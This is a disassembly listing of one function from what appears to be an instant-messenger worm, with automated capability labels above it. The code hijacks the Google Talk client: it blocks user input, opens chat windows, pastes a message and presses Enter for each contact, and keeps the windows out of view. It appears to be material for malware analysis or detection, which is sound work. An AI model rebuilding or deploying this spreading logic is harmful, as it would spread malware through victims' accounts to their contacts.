Function at 0x404350
Capabilities:
Check for time delay via gettickcount
Get graphical window text
Hide graphical window
Log keystrokes via polling

Disassembly:
sub esp, 0x2a8
mov eax, dword [0x4151a8]
push ebp
mov ebp, dword [0x41738c]
push esi
push edi
mov dword [esp + 0x2b0], eax
lea eax, [esp + 0x1b0]
push 0x416600
inc ebp
push eax
mov dword [0x41738c], ebp
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
add esp, 8
push 0
push str.Google_Talk___Google_Xmpp_Client_GUI_Window
mov byte [0x417390], 0
call edi
mov esi, eax
test esi, esi
mov dword [esp + 0x14], esi
je 0x404837
push 1
call sub.USER32.dll_BlockInput
push 0x411fbc
push 2
call fcn.00401ff0
add esp, 8
push 0
push str.Main_View
push 0
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
call esi
test eax, eax
mov dword [esp + 0x1c], eax
je 0x404830
push 0
push str.Contact_List_View
push 0
push eax
call esi
mov esi, eax
test esi, esi
mov dword [esp + 0x24], esi
je 0x404830
push ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push str.Chat_View
mov dword [esp + 0x24], eax
call edi
test eax, eax
mov edi, dword [sym.imp.USER32.dll_SetForegroundWindow]
mov ebx, dword [sym.imp.USER32.dll_keybd_event]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x14], eax
je 0x40448c
jmp 0x404430
mov eax, dword [esp + 0x14]
mov edi, edi
test eax, eax
je 0x404460
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
push 0
push 1
push 0
push 0x12
call ebx
push 0
push 0
push 0
push 0x73
call ebx
push 0
push 3
push 0x2d
push 0x12
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x1c]
sub eax, 0xbb8
cmp ecx, eax
jb 0x40448c
push 1
call ebp
push 0
push str.Chat_View
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x40442a
push 0x64
call ebp
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x3c]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [esp + 0x18]
push 1
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [esp + 0x18]
push 1
push 0x2bc
push 0x2bc
push 0
push 0x1388
push edx
call dword [sym.imp.USER32.dll_MoveWindow]
mov eax, dword [esp + 0x18]
push eax
call edi
mov ecx, dword [esp + 0x20]
push ecx
call edi
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push 0x200020
push 1
push 0x201
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0
push 0
push 0xf
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
lea edx, [esp + 0x2c]
push edx
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov al, byte [esp + 0x30]
mov dl, byte [esp + 0x2c]
xor ecx, ecx
add al, 0x14
mov ch, al
add dl, 0x14
mov cl, dl
push ecx
push 0
push 0x84
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x2020001
push esi
push 0x20
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x200020
push 0
push 0x202
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x64
call ebp
xor eax, eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], eax
mov byte [esp + 0x13], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x1c], eax
push 0
push str.Chat_View
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x404589
cmp esi, dword [esp + 0x20]
jne 0x4045a6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x1c]
sub eax, 0x12c
cmp ecx, eax
jb 0x4046f9
push 1
call ebp
jmp 0x404570
push 1
push 1
push 1
push 0xa
push 0xa
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
push 0x32
lea eax, [esp + 0x50]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [esp + 0x80]
push ecx
lea edx, [esp + 0x50]
push edx
call fcn.00401d00
add esp, 8
test al, al
jne 0x4046a3
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x84]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push 0xa
call ebp
push 0
push str.RichEdit20W
push 0
push esi
call dword [sym.imp.USER32.dll_FindWindowExA]
test eax, eax
mov dword [esp + 0x1c], eax
je 0x4046ab
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push 0x32
call ebp
lea edx, [esp + 0x1b4]
push edx
lea eax, [esp + 0xb8]
push 0x411c6c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0xc0]
push ecx
call fcn.004015e0
mov edx, dword [esp + 0x2c]
push edx
lea eax, [esp + 0xc8]
push eax
call fcn.00401f40
add esp, 0x18
push 0
push 1
push 0
push 0x11
call ebx
push 0
push 0
push 0
push 0x56
call dword [sym.imp.USER32.dll_VkKeyScanA]
push eax
call ebx
push 0
push 3
push 0x2d
push 0x11
call ebx
push 0
push 0
push 0
push 0xd
call ebx
mov byte [esp + 0x13], 1
jmp 0x4046ab
mov dword [esp + 0x14], 0x1f4
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push 0xa
call ebp
push 0x10001
push 0x1b
push 0x100
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x10001
push 0x1b
push 0x102
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x10001
push 0x1b
push 0x101
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x3e8
call ebp
push 0
push str.Chat_View
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
jne 0x404755
cmp dword [esp + 0x14], 0x1f4
jge 0x4047a0
mov ecx, dword [esp + 0x18]
push ecx
call edi
mov edx, dword [esp + 0x20]
push edx
call edi
mov esi, dword [esp + 0x28]
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push 0x41500001
push 0x28
push 0x100
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0
push 0
push 0
push 0xd
call ebx
jmp 0x40479c
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push 0xa
call ebp
push 0x10001
push 0x1b
push 0x100
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x10001
push 0x1b
push 0x102
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x10001
push 0x1b
push 0x101
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x32
call ebp
mov al, byte [esp + 0x13]
test al, al
jne 0x4047bd
cmp dword [esp + 0x24], 5
jl 0x4047b9
mov dword [esp + 0x14], 0x1f4
jmp 0x4047bd
inc dword [esp + 0x24]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x1f4
mov dword [esp + 0x14], eax
jl 0x404561
mov esi, dword [esp + 0x18]
push 1
push 0x1f4
push 0x12c
push 0
push 0
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
push 0x32
call ebp
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call edi
push esi
mov esi, dword [sym.imp.USER32.dll_SetFocus]
call esi
push 0x32
call ebp
push 0
push 1
push 0
push 0x12
call ebx
push 0
push 0
push 0
push 0x73
call ebx
push 0
push 3
push 0x2d
push 0x12
call ebx
push 0
call edi
push 0
call esi
pop ebx
push 0
call sub.USER32.dll_BlockInput
mov ecx, dword [esp + 0x2b0]
pop edi
pop esi
mov eax, 1
pop ebp
call fcn.004088de
add esp, 0x2a8
ret 4